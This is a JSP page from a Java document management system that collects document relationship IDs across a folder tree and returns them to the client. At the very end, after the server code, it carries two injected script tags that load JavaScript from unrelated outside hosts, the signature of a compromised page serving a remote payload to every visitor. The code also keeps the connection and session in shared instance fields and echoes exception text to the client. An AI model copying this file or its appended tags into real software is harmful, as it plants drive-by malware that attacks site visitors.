<%@ page language="java" contentType="text/html; charset=utf-8"%>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.dao.*" %>
<%@ page import="com.dcivision.dms.core.RootRetrievalManager"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%!
  private SessionContainer sessionContainer = null;
  private Connection conn = null;
  
  private List getRelationshipIdList(String[] selectID, boolean isDmsRoot) throws Exception{
  	MtmDocumentRelationshipDAObject mtmRelationshipDAO = new MtmDocumentRelationshipDAObject(sessionContainer, conn);
    DmsDocumentDAObject documentDAO = new DmsDocumentDAObject(sessionContainer, conn);
    
    List lstRelationshipId = new ArrayList();
    
    for (int n=0; n<selectID.length; n++) {
      Integer docId = TextUtility.parseIntegerObj(selectID[n]);
      if (isDmsRoot) {
        RootRetrievalManager rootRetrievalManager = new RootRetrievalManager(sessionContainer, conn);
        DmsDocument sourceDocument = rootRetrievalManager.getRootDocument(docId);
        docId = (sourceDocument!=null) ? sourceDocument.getID() : null;
      }
      if (docId!=null) {
      	List lstAllTreeId = this.getAllTreeNodeID(documentDAO, docId);
      	
      	int batchSize = 100; //handle 100 document everytime
        int batchIndex = 0;  //loop times index
        int maxsize = lstAllTreeId.size();
      	while (true) {
          // get loop index 
          int index_start = (batchIndex++) * batchSize;
          if (index_start>=maxsize) { break; }
          int index_end = (index_start+batchSize)>maxsize ? maxsize : (index_start+batchSize);
          
          // get loop id list at this batch
          List batchDocumentIds = lstAllTreeId.subList(index_start, index_end);
          
          List mtmRelationships = mtmRelationshipDAO.getListByDocumentIDList(batchDocumentIds, null, GlobalConstant.RECORD_STATUS_ACTIVE);
          if (mtmRelationships!=null && !mtmRelationships.isEmpty()) {
            for (int i=0; i<mtmRelationships.size(); i++) {
              MtmDocumentRelationship relationship = (MtmDocumentRelationship)mtmRelationships.get(i);
              lstRelationshipId.add(relationship.getID());
            }
          }
          List mtmRelatedRelationships = mtmRelationshipDAO.getListByRelatedDocumentIDList(batchDocumentIds, null, GlobalConstant.RECORD_STATUS_ACTIVE);
          if (mtmRelatedRelationships!=null && !mtmRelatedRelationships.isEmpty()) {
            for (int i=0; i<mtmRelatedRelationships.size(); i++) {
              MtmDocumentRelationship relationship = (MtmDocumentRelationship)mtmRelatedRelationships.get(i);
              if (!"L".equals(relationship.getRelationshipType())) {
                lstRelationshipId.add(relationship.getID());
              }
            }
          }
      	}
      	
      }
    }
    
    return lstRelationshipId;
  }

  private List getAllTreeNodeID(DmsDocumentDAObject dmsDocumentDAO, Integer ParentId) throws Exception {
    List folderIdList = new ArrayList();
    folderIdList.add(ParentId);
    String[] fieldNames = new String[]{"D.ID", "D.DOCUMENT_TYPE"};
    String[] fieldTypes = new String[]{"Integer", "String"};
    String[] itemStatus = new String[]{DmsVersion.ARCHIVED_STATUS};
    String[] recordStatus = new String[]{GlobalConstant.RECORD_STATUS_ACTIVE};
    String orderBy = "D.DOCUMENT_TYPE, D.ID";
    folderIdList.addAll(this.getChildrenIdRecursive(dmsDocumentDAO, fieldNames, fieldTypes, ParentId, itemStatus, recordStatus, orderBy));
    return folderIdList;
  }

  private List getChildrenIdRecursive(
      DmsDocumentDAObject dmsDocumentDAO, 
      String[] fieldNames,
      String[] fieldTypes,
      Integer parentId,
      String[] itemStatus, 
      String[] recordStatus,
      String orderBy) throws Exception {
    List lstChildDocumentId = new ArrayList();
    List listFieldObject = dmsDocumentDAO.getFieldListByParentId(fieldNames, fieldTypes, parentId, itemStatus, false, recordStatus, true, null, null, null, orderBy);
    for (int i=0; i<listFieldObject.size(); i++) {
      Object[] fields = (Object[])listFieldObject.get(i);
      Integer documentId = (Integer)fields[0];
      String documentType = (String)fields[1];
      lstChildDocumentId.add(documentId);
      if (!DmsDocument.DOCUMENT_TYPE.equals(documentType)) {
        lstChildDocumentId.addAll(this.getChildrenIdRecursive(dmsDocumentDAO, fieldNames, fieldTypes, documentId, itemStatus, recordStatus, orderBy));
      }
    }
    return lstChildDocumentId;
  }

%>
<%
  //get setting
  boolean isDmsRoot = "true".equals(request.getParameter("dmsRoot"));
  String[] selectID = request.getParameterValues("selectID");
  if (selectID!=null) {
    try {
      this.sessionContainer = (SessionContainer)session.getAttribute(GlobalConstant.SESSION_CONTAINER_KEY);
      this.conn =  DataSourceFactory.getConnection();
      List lstRelationshipDocId = this.getRelationshipIdList(selectID, isDmsRoot);
      String returnText = "";
      if (!lstRelationshipDocId.isEmpty()) {
        for (int i=0; i<lstRelationshipDocId.size(); i++) {
          returnText += returnText.equals("")? "relationshipID="+lstRelationshipDocId.get(i).toString() : "&relationshipID="+lstRelationshipDocId.get(i).toString();
        }
        out.clear();
        out.print("RETIDS"+returnText);
        out.flush();
      }
    }catch (Exception ex) {
      out.clear();
      out.print("ERROR"+ex);
      out.flush();
      LogFactory.getLog(this.getClass()).error(ex, ex);
    }finally {
      try {this.conn.close();}catch (Exception ex) {}finally {this.conn=null;}
      this.sessionContainer = null;
    }
  }
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>